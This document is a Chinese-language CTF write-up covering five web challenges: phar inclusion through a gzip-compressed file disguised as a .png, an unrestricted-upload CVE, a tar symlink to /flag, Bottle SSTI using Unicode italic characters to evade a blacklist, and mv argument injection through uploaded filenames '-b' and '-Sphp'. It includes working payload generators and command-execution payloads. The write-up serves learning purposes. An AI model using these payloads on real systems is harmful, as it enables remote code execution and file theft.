【include_upload】
之前其实是学过phar文件包含的,做了这题之后才发现之前白学了。
- 首先我们得知道怎么包含phar文件中的php代码,phar文件其实有3个部分都可以写php代码,并且会原样输出的
但是3个地方的php代码并不是都可以被解析,(我之前一直以为一个文件里面只要有php代码,被include之后就可以被解析)
实验文件:phar.php include.php
<?php
class TestObject {
public $a="<?php echo '触发matedata中的php代码'; ?>";
}
@unlink("phar.phar"); // 删除旧的 phar 文件(如果存在)
$phar = new Phar("phar.phar"); // 创建一个新的 phar 对象,文件名必须以 .phar 结尾
$phar->startBuffering(); // 开始缓冲(准备写入 phar 内容)
$phar->setStub("<?php echo '触发stub中的php代码'; __HALT_COMPILER(); ?>"); // 设置 stub(文件头部的启动代码)
$o = new TestObject();
// 实例化一个对象
$phar->setMetadata($o); // 把对象放到 phar 的 metadata 区域(存入 manifest)
$phar->addFromString("test.txt", "<?php echo '触发phar中test.txt中的php代码'; ?>"); // 向 phar 添加一个文件 test.txt,内容为 "test"
// phar 内部会自动计算签名(默认是 SHA1)
$phar->stopBuffering(); // 停止缓冲并写入文件
?>
<?php
highlight_file(__FILE__);
include($_GET['file']);
?>- 直接include:可以直接触发stub中的php代码,但是这好像没啥用,因为文件内容并不会不可见什么的,也就是说该过滤文件内容还是过滤和直接上传php文件没有差别。

- 用phar伪协议:可以去触发里层文件的php代码,但是要加上路劲,(这里有一个用法,就是phar伪协议会自动去解压压缩包并且得到里面的文件,这样就可以被include了
好了,这上面的对题目其实没有用,单纯是我的个人疑惑。。。。
-
我们绕过phar文件中stub部分
__HALT_COMPILER过滤的时候,学过用gzip压缩过滤。说是一样可以触发反序列化的。至于为什么可以看文章: https://www.anquanke.com/post/id/240007#h2-5 大概就是因为php对phar伪协议实现时,会先对压缩后的文件进行解压, -
对于include函数而言,识别一个文件是不是phar文件名中有
.phar则认为他是phar文件。并且对于phar文件中压缩过的内容会自动解压。并判断有没有<?php __HALT_COMPILER();?>文件头,没有则报错,所以如果解压出来有php代码的话,自然也会解析了。 https://xz.aliyun.com/news/18584
-
但是至于为什么反序列化的时候会解析压缩后的matedata就不是这个原因了,看上面的文章,大概是phar伪协议的原因,他的底层实现会先解压再反序列化,而且几种压缩都是可以的,
主要记住的就是这个是需要pahr伪协议的
总结一下就是,我终于搞清楚了
phar反序列化用gzip时是需要phar伪协议的,因为phar伪协议的底层实现会先解压再反序列化
phar文件包含用gzip绕过时是不需要伪协议的,因为那个是include的底层会对phar文件进行先解压再包含,但是要注意的是php代码要写在stub才会执行。然后小技巧就是include时文件中出现了.phar即可认为是phar文件,但是phar://,不一样,只要是一个文件,他就会当作phar压缩包解压。
wp
最后回归题目,
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".png"){
include'./upload/' . basename($_GET['file']);
exit;
}
?>
文件包含,还有一个文件上传的点。 分析源码:
- 使用了
basename(),这个函数会取出输入的地址中最后一个文件名(意思是abc/acs/ascsc/casc/flag.txt会被识别为flag.txt,前面省略),所以我们就不考虑目录穿越读文件了。 if(isset($file) && strtolower(substr($file, -4)) == ".png")这句话是说$file参数只有取出最后4个之后为.png才能包含,strtolower()函数是转化为小写。- 总的就是只能包含
.png后缀的文件 这里开始想到有include,那直接再png的body中写php代码也能解析的,但是也有waf。 对文件内容过滤了php,<?,总之换标签是行不通了。这里就卡住了,学了什么的小技巧才知道,对于include()函数只要文件名中包含了.phar就会当作是在include一个phar文件。并且如果文件内容经过压缩的话还能自动解压,这样phar中的可见php代码也没有了。完美绕过。
实践: 首先通过脚本生成一个phar文件,
<?php
class TestObject {
public $a="<?php echo '触发matedata中的php代码'; ?>";
}
@unlink("phar.phar"); // 删除旧的 phar 文件(如果存在)
$phar = new Phar("phar.phar"); // 创建一个新的 phar 对象,文件名必须以 .phar 结尾
$phar->startBuffering(); // 开始缓冲(准备写入 phar 内容)
$data = '<?php system($_GET["cmd"]);?>';
$phar->setStub('<?php system("cat /flag") ; __HALT_COMPILER(); ?>'); // 设置 stub(文件头部的启动代码)
$o = new TestObject();
// 实例化一个对象
$phar->setMetadata($o); // 把对象放到 phar 的 metadata 区域(存入 manifest)
$phar->addFromString("test.txt", "<?php echo '触发phar中test.txt中的php代码'; ?>"); // 向 phar 添加一个文件 test.txt,内容为 "test"
// phar 内部会自动计算签名(默认是 SHA1)
$phar->stopBuffering(); // 停止缓冲并写入文件
?>并且通过
gzip -c phar.phar >1.phar.png命令把压缩后的phar文件直接写入一个png文件,然后上传就好了
已经成功绕过,得到flag(后面不是同一个所以文件名有差异)

【b@by n0t1ce b0ard】
这里其实网上随便搜一下相关漏洞,就有告诉你怎么回事(谁能想到是一个高中生一年前发现的CVE!!!)
https://vuldb.com/?submit.456458,
文章说的很清楚,注册的时候文件上传没有限制,并且会保存到固定目录/images/{USER-EMAIL}/{UPLOAD_FILENAME}下,我们直接访问即可执行文件。
但是这个代码并不复杂,所以我们看一下。
代码审计
文件结构在这里,我们就先看外层文件,出去css,还有一些一两行的配置文件,剩下有价值的就只有login.php、registraction.php了
先看一下登录:
<?php
extract($_POST);
if(isset($save))
{
if($e=="" || $p=="")
{
$err="<font color='red'>fill all the fileds first</font>";
}
else
{
$pass=md5($p);
$sql=mysqli_query($conn,"select * from user where email='$e' and pass='$pass'");
$r=mysqli_num_rows($sql);
if($r==true)
{
$_SESSION['user']=$e;
header('location:user');
}
else
{
$err="<font color='red'>Invalid login details</font>";
}
}
}
?>貌似是由sql注入?不知道(这里其实就是走个过程) 看到注册逻辑:
<?php
require('connection.php');
extract($_POST);
if(isset($save))
{
//check user alereay exists or not
$sql=mysqli_query($conn,"select * from user where email='$e'");
$r=mysqli_num_rows($sql);
if($r==true)
{
$err= "<font color='red'>This user already exists</font>";
}
else
{
//dob
$dob=$yy."-".$mm."-".$dd;
//hobbies
$hob=implode(",",$hob);
//image
$imageName=$_FILES['img']['name'];
//encrypt your password
$pass=md5($p);
$query="insert into user values('','$n','$e','$pass','$mob','$gen','$hob','$imageName','$dob',now())";
mysqli_query($conn,$query);
//upload image
mkdir("images/$e");
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);
$err="<font color='blue'>Registration successfull !!</font>";
}
}
?>很明显直接把上传的文件从tmp目录移动到了固定目录
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);
通过前面知道$e就是email,
$sql=mysqli_query($conn,"select * from user where email='$e'");就找到了,任意文件上传,传一个后门就好了。

【flag?我就借走了】
题目上来就是一个文件上传的点,支持上传.png .avif .webp .gif .jxl .txt文件,还有一个tar,这里他把tar单独放出来还加粗了,那应该就是暗示我们用tar了。上传到/download目录,并且会自动解压。我有点不知道什么意思了。
先打一个php文件上传
成功了?点击发现直接下载了。。。。之后尝试了一下其他文件,好像就是允许直接上传的文件可以直接打开查看,不允许的就会触发下载。这里学习一个新的用法,软连接。
创建软连接并打包
┌──(root💀JYli)-[~/tmp]
└─# ln -s /flag link #创建一个指向 /flag 的软链接
┌──(root💀JYli)-[~/tmp]
└─# tar -cvf exp.tar link #把软连接文件给打包
link这样就把软连接打包好了,软连接里面相当于就是存储了一个路径(并不是像硬链接一样指向iNode节点),所以不管这个软连接文件在哪里,都是可以用的,只要对方主机也有相同路径。就能达到相同的结果。
我们把文件上传
看到成功把软连接上传成功了,此时相当于对方在/download目录下面创建了一个指向/flag的软连接,我们访问一样是触发下载,但是此时内容就变成flag了。

【难过的bottle】
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil
# hint: flag is in /flag
UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
def contains_blacklist(content):
"""检查内容是否包含黑名单中的关键词(不区分大小写)"""
content = content.lower()
return any(black_word in content for black_word in BLACKLIST)
def safe_extract_zip(zip_path, extract_dir):
"""安全解压ZIP文件(防止路径遍历攻击)"""
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise ValueError("非法文件路径: 路径遍历攻击检测")
zf.extract(member, extract_dir)
@route('/')
def index():
"""首页"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ZIP文件查看器</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container">
<div class="row justify-content-center" id="index-page">
<div class="col-md-8 text-center">
<div class="card">
<div class="card-body p-5">
<div class="emoji-icon">📤</div>
<h2 class="card-title">轻松查看ZIP文件内容</h2>
<p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>
<div class="mt-4">
<a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
📁 上传ZIP文件
</a>
<a href="#features" class="btn btn-outline-secondary btn-lg px-4">
ℹ️ 了解更多
</a>
</div>
</div>
</div>
</div>
</div>
<div class="row mt-5" id="features">
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">🛡️</div>
<h4>安全检测</h4>
<p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">📄</div>
<h4>内容预览</h4>
<p>直接在线查看ZIP文件中的文本内容,无需下载</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">⚡</div>
<h4>快速处理</h4>
<p>高效处理小于1MB的ZIP文件,快速获取内容</p>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''
@route('/upload')
def upload_page():
"""上传页面"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传ZIP文件</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-primary text-white">
<h4 class="mb-0">📤 上传ZIP文件</h4>
</div>
<div class="card-body">
<form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
<div class="mb-3">
<label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>
<input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
<div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>
</div>
<button type="submit" class="btn btn-primary w-100">
📤 上传文件
</button>
</form>
</div>
</div>
<div class="text-center mt-4">
<a href="/" class="btn btn-outline-secondary">
↩️ 返回首页
</a>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''
@post('/upload')
def upload():
"""处理文件上传"""
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return '请上传有效的ZIP文件'
zip_file.file.seek(0, 2)
file_size = zip_file.file.tell()
zip_file.file.seek(0)
if file_size > MAX_FILE_SIZE:
return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
timestamp = str(time.time())
unique_str = zip_file.filename + timestamp
dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
os.makedirs(extract_dir, exist_ok=True)
zip_path = os.path.join(extract_dir, 'uploaded.zip')
zip_file.save(zip_path)
try:
safe_extract_zip(zip_path, extract_dir)
except (zipfile.BadZipFile, ValueError) as e:
shutil.rmtree(extract_dir)
return f'处理ZIP文件时出错: {str(e)}'
files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传成功</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-success text-white">
<h4 class="mb-0">✅ 上传成功!</h4>
</div>
<div class="card-body">
<div class="alert alert-success" role="alert">
✅ 文件已成功上传并解压
</div>
<h5>文件列表:</h5>
<ul class="list-group mb-4">
% for file in files:
<li class="list-group-item d-flex justify-content-between align-items-center">
<span>📄 {{file}}</span>
<a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
查看
</a>
</li>
% end
</ul>
% if files:
<div class="d-grid gap-2">
<a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
👀 查看第一个文件
</a>
</div>
% end
</div>
</div>
<div class="text-center mt-4">
<a href="/upload" class="btn btn-outline-primary me-2">
➕ 上传另一个文件
</a>
<a href="/" class="btn btn-outline-secondary">
🏠 返回首页
</a>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
''', dir_hash=dir_hash, files=files)
@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
if not os.path.exists(file_path):
return "文件不存在"
if not os.path.isfile(file_path):
return "请求的路径不是文件"
real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
return "非法访问尝试"
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except:
try:
with open(file_path, 'r', encoding='latin-1') as f:
content = f.read()
except:
return "无法读取文件内容(可能是二进制文件)"
if contains_blacklist(content):
return "文件内容包含不允许的关键词"
try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"
@route('/static/<filename:path>')
def serve_static(filename):
"""静态文件服务"""
return static_file(filename, root='static')
@error(404)
def error404(error):
return "讨厌啦不是说好只看看不摸的吗"
@error(500)
def error500(error):
return "不要透进来啊啊啊啊"
if __name__ == '__main__':
os.makedirs('static', exist_ok=True)
#原神,启动!
run(host='0.0.0.0', port=5000, debug=False)给了源代码,注意到 return template(content).直接把内容当作模板渲染。存在ssti。
这里的content就是我们上传一个zip文件解压后的内容。
源码大概就是一个
/upload目录,只允许上传.zip文件,并且不能太大。/view/<dir_hash>/<filename:path>目录,查看文件,得到的内容直接当作模板渲染 所以我们可以想到,写一个txt文件,里面是模板语言,打成压缩包上传,然后查看并渲染。 但是注意到渲染之前会对内容进行黑名单检查
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]只留下了flag四个字母,还有模板语言的{{ }}可以使用。
那就很难受了,字符串还好可以用编码绕过,但是函数方法不能都用字符串呀。
这里学习一个新的trick。斜体字绕过。下面有详细介绍。这里只说一下打的过程。
首先利用脚本生成对应的斜体字形式,因为字符串部分不支持斜体字,所以我们进行8进制编码,(脚本自动实现了):
将得到的字符串复制到txt文件打成zip包(记得加模板语法{{}}),上传,点击查看(就是网页渲染)即可。
斜体字绕过
参考:
- https://www.cnblogs.com/LAMENTXU/articles/18805019
- https://www.tremse.cn/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/
总的来说是 bottle框架 的
template渲染模板函数在底层实现的时候检查不严格,所以可以把斜体字传入 但是为什么能执行呢,是因为template内部有exec()函数实现,该函数把字符串作为代码执行之前 会把code中当作代码处理的斜体字根据Decomposition(Decomposition指的是一些字符拆解之后)
转成对应的ASCII字符(当作字符串处理的除外,如此例中,假如whoami或os为斜体,则会无法执行,因为找不到斜体的os库,和斜体的whoami命令)。这个网站有对应的Decomposition: https://www.compart.com/en/unicode 例如
看到exec是支持斜体字的;所以我们可以根据这个绕过所有字母的限制(这很变态了)。
但是有一个限制就是如果题目直接渲染我们的输入的话,都需要经过URL编码,而斜体字的URL编码一般都会有两个编码值,比如ª就是%c2%aa,但是模板解析的时候会一个编码对应一个字符,所以就用不了,只有ª (U+00AA),º (U+00BA)可以通过去掉前面的%c2,使用%aa,%ba代替 但是如果可以像这道题一样文件上传并且并且直接渲染,那就很无敌了,任何字符限制都可以绕过。 这里给一个利用的脚本,会自动把payload转换为斜体字,并且把字符串的内容替换为8进制(没有字母):
def generate_ultimate_bypass(payload):
normal = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
italic = "𝑎𝑏𝑐𝑑𝑒𝑓𝑔ℎ𝑖𝑗𝑘𝑙𝑚𝑛𝑜𝑝𝑞𝑟𝑠𝑡𝑢𝑣𝑤𝑥𝑦𝑧𝐴𝐵𝐶𝐷𝐸𝐹𝐺𝐻𝐼𝐽𝐾𝐿𝑀𝑁𝑂𝑃𝑄𝑅𝑆𝑇𝑈𝑉𝑊𝑋𝑌𝑍"
trans_table = str.maketrans(normal, italic)
result = []
in_string = False
quote = ""
for ch in payload:
# 检测引号切换字符串状态
if ch in ("'", '"'):
if not in_string:
in_string = True
quote = ch
result.append(ch)
elif ch == quote:
in_string = False
result.append(ch)
else:
# 字符串内遇到不同引号:转八进制避免破坏字符串
result.append(f"\\{oct(ord(ch))[2:]}")
continue
# 字符串内部 → 八进制转义
if in_string:
result.append(f"\\{oct(ord(ch))[2:]}")
continue
# 代码部分 → 字母转斜体
if ch in normal:
result.append(ch.translate(trans_table))
else:
result.append(ch)
return "".join(result)
# 测试执行
raw_payload = "{{__import__('os').popen('ls').read()}}"
print("[+] 原始:", raw_payload)
print("="*110)
out = generate_ultimate_bypass(raw_payload)
print("[+] 生成:", out)
print("="*110)
# 简单验证:黑名单检查
blacklist = set("abcdefghijklmnopqrstuvwxyz%<>,;?:")
if any(c in blacklist for c in out):
print("[!] 检测:失败,仍包含黑名单字符")
else:
print("[+] 检测:成功,无黑名单字符")
【mv_upload】
先通过Dirsearch扫一下备份文件,发现index.php~
<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录
$blacklist = [
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"
];
$message = '';
$filesInTmp = [];
// 创建目标目录
if (!is_dir($targetDir)) {
mkdir($targetDir, 0755, true);
}
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
$uploadedFiles = $_FILES['files'];
foreach ($uploadedFiles['name'] as $index => $filename) {
if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
$message .= "文件 {$filename} 上传失败。<br>";
continue;
}
$tmpName = $uploadedFiles['tmp_name'][$index];
$filename = trim(basename($filename));
if ($filename === '') {
$message .= "文件名无效,跳过。<br>";
continue;
}
$fileParts = pathinfo($filename);
$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
$extension = trim($extension, '.');
if (in_array($extension, $blacklist)) {
$message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
continue;
}
$destination = $uploadDir . $filename;
if (move_uploaded_file($tmpName, $destination)) {
$message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
} else {
$message .= "文件 {$filename} 移动失败。<br>";
}
}
}
// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
$handle = opendir($uploadDir);
if ($handle) {
while (($file = readdir($handle)) !== false) {
if (is_file($uploadDir . $file)) {
$filesInTmp[] = $file;
}
}
closedir($handle);
}
}
// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
if (empty($filesInTmp)) {
$message .= "没有可移动的文件。<br>";
} else {
$output = [];
$returnCode = 0;
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
if ($returnCode === 0) {
foreach ($filesInTmp as $file) {
$message .= "已移动文件: {$file} 至$targetDir$file<br>";
}
} else {
$message .= "移动文件失败: " .implode(', ', $output)."<br>";
}
}
}
?>这里把下面的html代码删掉了。
每段代码的功能其实代码注释都给出来了。
可以先上传到临时目录,在手动点击上传到html目录
但是注意到,最后移动文件的命令{php} exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
这里有一个可以利用的点,就是把文件名直接拼接到mv命令后面,我们就可以构造一些参数
mv命令参数
这里了解一些参数:
┌──(root💀JYli)-[~]
└─# mv --help
Usage: mv [OPTION]... [-T] SOURCE DEST
or: mv [OPTION]... SOURCE... DIRECTORY
or: mv [OPTION]... -t DIRECTORY SOURCE...
Rename SOURCE to DEST, or move SOURCE(s) to DIRECTORY.
Mandatory arguments to long options are mandatory for short options too.
--backup[=CONTROL] make a backup of each existing destination file
-b like --backup but does not accept an argument
-f, --force do not prompt before overwriting
-i, --interactive prompt before overwrite
-n, --no-clobber do not overwrite an existing file
If you specify more than one of -i, -f, -n, only the final one takes effect.
--strip-trailing-slashes remove any trailing slashes from each SOURCE
argument
-S, --suffix=SUFFIX override the usual backup suffix
-t, --target-directory=DIRECTORY move all SOURCE arguments into DIRECTORY
-T, --no-target-directory treat DEST as a normal file
-u, --update move only when the SOURCE file is newer
than the destination file or when the
destination file is missing
-v, --verbose explain what is being done
-Z, --context set SELinux security context of destination
file to default type
--help display this help and exit
--version output version information and exit
The backup suffix is '~', unless set with --suffix or SIMPLE_BACKUP_SUFFIX.
The version control method may be selected via the --backup option or through
the VERSION_CONTROL environment variable. Here are the values:
none, off never make backups (even if --backup is given)
numbered, t make numbered backups
existing, nil numbered if numbered backups exist, simple otherwise
simple, never always make simple backups
GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation <https://www.gnu.org/software/coreutils/mv>
or available locally via: info '(coreutils) mv invocation'这里可以利用其中的:
- -b,当存在同名文件是先设置备份文件再覆盖
- -S,设置备份文件后缀名
我们可以用这种方法绕过php黑名单检测,让对方服务器帮我们构造php后缀
(注意:下面的步骤涉及到改后缀名,建议直接抓包修改,直接再windows修改会有一些问题)
构造恶意后缀
-
先上传一个
.muma文件并写入webshell,这里直接上传到upload目录
-
分别上传
-b,-Sphp,muma.三个文件到临时目录
-
此时上传到html目录执行的命令将会是
{php} mv -b -Sphp muma. /upload/ -
由于
uoload文件夹已经存在.muma文件,所以会根据-S参数指定的后缀名保存备份文件,就构造好了muma.php
访问/upload/muma.php即可